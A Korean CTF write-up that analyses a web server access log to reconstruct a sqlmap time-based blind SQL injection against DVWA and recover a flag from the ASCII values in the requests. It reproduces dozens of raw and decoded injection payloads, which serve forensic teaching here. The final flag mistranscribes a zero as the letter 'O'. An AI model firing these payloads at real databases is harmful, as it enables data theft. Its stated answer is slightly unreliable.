

access-log

Description

당신은 이번 해킹 사건의 분석을 담당하게 되었습니다.

그런데 access.log 파일 하나만이 제공 가능하다고 합니다.

과연 분석을 마치고 플래그를 찾아낼 수 있을까요?

Info

FLAG format: DH{...}

사용한 도구

cyberchef

Background

SQL Injection

Time-based Blind SQL Injection

- SQL Injection의 한 종류로, 데이터가 화면에 보이지 않는 Blind 상황에서 응답 시간의 차이를 이용해 데이터베이스의 정보를 추출하는 기법

유형	설명
Boolean-based	TRUE / FALSE 페이지 차이
Time-based	응답 시간 차이

- 이 방식은 **조건이 참이면 일부러 서버를 느리게 만드는 함수를 사용**
 - 해당 문제에서는 SLEEP 사용
 - 일반적인 SQL Injection보다 데이터 추출 과정이 느림

1. Decode

Input

+

📁

🔄

🗑️

🖨️

172.20.0.1 - - [26/Apr/2024:18:00:31 +0000] "GET /vulnerabilities/sqli/?id=1%27%20AND%207364%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28password%20AS%20CHAR%29%2C0x20%29%20FROM%20dvwa.users%20ORDER%20BY%20%60user%60%20LIMIT%200%2C1%29%2C1%2C1%29%29%3E857048%29%2CSLEEP%281%29%2C7364%29--%20eepo&Submit=Submit HTTP/1.1" 200 1813 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"

REC 380 1

Raw Bytes

LF

Output

📁

📄

🔄

🖨️

172.20.0.1 - - [26/Apr/2024:18:00:31 0000] "GET /vulnerabilities/sqli/?id=1' AND 7364=IF((ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 0,1),1,1))>857048),SLEEP(1),7364)-- eepo&Submit=Submit HTTP/1.1" 200 1813 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"

- 클라이언트 IP: 172.20.0.1
- 요청시간: 2024년 4월 26일 18:00:31
- 요청내용: GET /vulnerabilities/sqli/?id=1' AND 7364=IF(...)-- eepo&Submit=Submit
 - DVWA의 SQL Injection 페이지에 요청
- dvwa.users 테이블의 첫 번째 사용자 password를 가져오는 sql 구문
 - password값을 문자열로 변환
- SLEEP 사용
 - Time-based Blind SQL Injection

2. 로그에서 flag 관련 내용 추출

```

172.20.0.1 - - [26/Apr/2024:17:50:51 +0000] "GET /vulnerabilities/sqli/?id=1%27%20AND%20487%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%20%20%29%20FROM%20dvwa.flag%29%2C1%2C1%29%29%3E790966%29%2CSLEEP%281%29%2C8487%29--%20Aduy&Submit=Submit HTTP/1.1" 200 1797 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:50:51 +0000] "GET /vulnerabilities/sqli/?id=1%27%20AND%20487%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%20%20%29%20FROM%20dvwa.flag%29%2C1%2C1%29%29%3E869334%29%2CSLEEP%281%29%2C8487%29--%20Aduy&Submit=Submit HTTP/1.1" 200 1798 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:50:51 +0000] "GET /vulnerabilities/sqli/?id=1%27%20AND%20487%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%20%20%29%20FROM%20dvwa.flag%29%2C1%2C1%29%29%3E592838%29%2CSLEEP%281%29%2C8487%29--%20Aduy&Submit=Submit HTTP/1.1" 200 1797 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:50:51 +0000] "GET /vulnerabilities/sqli/?id=1%27%20AND%20487%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%20%20%29%20FROM%20dvwa.flag%29%2C1%2C1%29%29%3E277472%29%2CSLEEP%281%29%2C8487%29--%20Aduy&Submit=Submit HTTP/1.1" 200 1796 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:50:51 +0000] "GET /vulnerabilities/sqli/?id=1%27%20AND%20487%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%20%20%29%20FROM%20dvwa.flag%29%2C1%2C1%29%29%3E391041%29%2CSLEEP%281%29%2C8487%29--%20Aduy&Submit=Submit HTTP/1.1" 200 1796 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:50:51 +0000] "GET /vulnerabilities/sqli/?id=1%27%20AND%20487%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%20%20%29%20FROM%20dvwa.flag%29%2C1%2C1%29%29%3E355987%29%2CSLEEP%281%29%2C8487%29--%20Aduy&Submit=Submit HTTP/1.1" 200 1798 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:50:52 +0000] "GET /vulnerabilities/sqli/?id=1%27%20AND%20487%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%20%20%29%20FROM%20dvwa.flag%29%2C1%2C1%29%29%3E317870%29%2CSLEEP%281%29%2C8487%29--%20Aduy&Submit=Submit HTTP/1.1" 200 1797 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:50:52 +0000] "GET /vulnerabilities/sqli/?id=1%27%20AND%20487%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%20%20%29%20FROM%20dvwa.flag%29%2C1%2C1%29%29%3E687850%29%2CSLEEP%281%29%2C8487%29--%20Aduy&Submit=Submit HTTP/1.1" 200 1797 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:50:52 +0000] "GET /vulnerabilities/sqli/?id=1%27%20AND%20487%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%20%20%29%20FROM%20dvwa.flag%29%2C1%2C1%29%29%3E790966%29%2CSLEEP%281%29%2C8487%29--%20Aduy&Submit=Submit HTTP/1.1" 200 1797 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"

```

로그가 모두 URL 인코딩 되어있는 상태이기 때문에 이를 모두 디코딩하여 읽을 수 있는 형태로 변환해주었다.

```

172.20.0.1 - - [26/Apr/2024:17:50:51 0000] "GET /vulnerabilities/sqli/?id=1' AND 8487=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM dvwa.flag),1,1))>869334),SLEEP(1),8487)-- Aduy&Submit=Submit HTTP/1.1" 200 1798 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"

```

- 페이로드를 디코딩하면 이런식으로 구성된다.
- >869334 부분에 != 비교가 포함된 요청은 sqlmap의 최종 확인 단계로, 실제 ASCII 값을 그대로 사용한다.
- 따라서 != 오른쪽 숫자를 순서대로 모으면 플래그를 확인할 수 있다.

```

172.20.0.1 - - [26/Apr/2024:17:50:57 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))!=68),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:01 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),2,1))!=72),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1805 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:06 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),3,1))!=123),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:08 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),4,1))!=97),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:12 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),5,1))!=110),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1805 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:16 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),6,1))!=65),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1805 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:18 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM

```

```

IT 0,1),7,1))!=49),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" "sqlmap/
1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:24 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM
IT 0,1),8,1))!=121),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1804 "-" "sqlma
p/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:28 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM
IT 0,1),9,1))!=122),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" "sqlma
p/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:29 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM
IT 0,1),10,1))!=49),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" "sqlma
p/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:34 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM
IT 0,1),11,1))!=110),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" "sqlma
p/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:39 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM
IT 0,1),12,1))!=71),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1804 "-" "sqlma
p/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:43 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM
IT 0,1),13,1))!=86),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" "sqlma
p/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:46 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM
IT 0,1),14,1))!=101),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" "sqlma
p/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:49 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM
IT 0,1),15,1))!=51),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1804 "-" "sqlma
p/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:51:55 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM
IT 0,1),16,1))!=121),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" "sqlma
p/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:52:00 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM
IT 0,1),17,1))!=66),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1807 "-" "sqlma
p/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:52:02 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM
IT 0,1),18,1))!=49),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1807 "-" "sqlma
p/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:52:07 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM
IT 0,1),19,1))!=57),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1807 "-" "sqlma
p/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:52:13 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM
IT 0,1),20,1))!=76),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1805 "-" "sqlma
p/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:52:18 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329
=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIM

```

```
IT 0,1),21,1))!=48),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1807 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:52:22 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),22,1))!=103),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1807 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:52:26 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),23,1))!=125),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
```

68, 72, 123, 97, 110, 65, 49, 121, 122, 49, 110, 71, 86, 101, 51, 121, 66, 49, 57, 76, 48, 103, 125

→ **anA1yz1nGVe3yB19LOg**

FLAG

DH{anA1yz1nGVe3yB19LOg}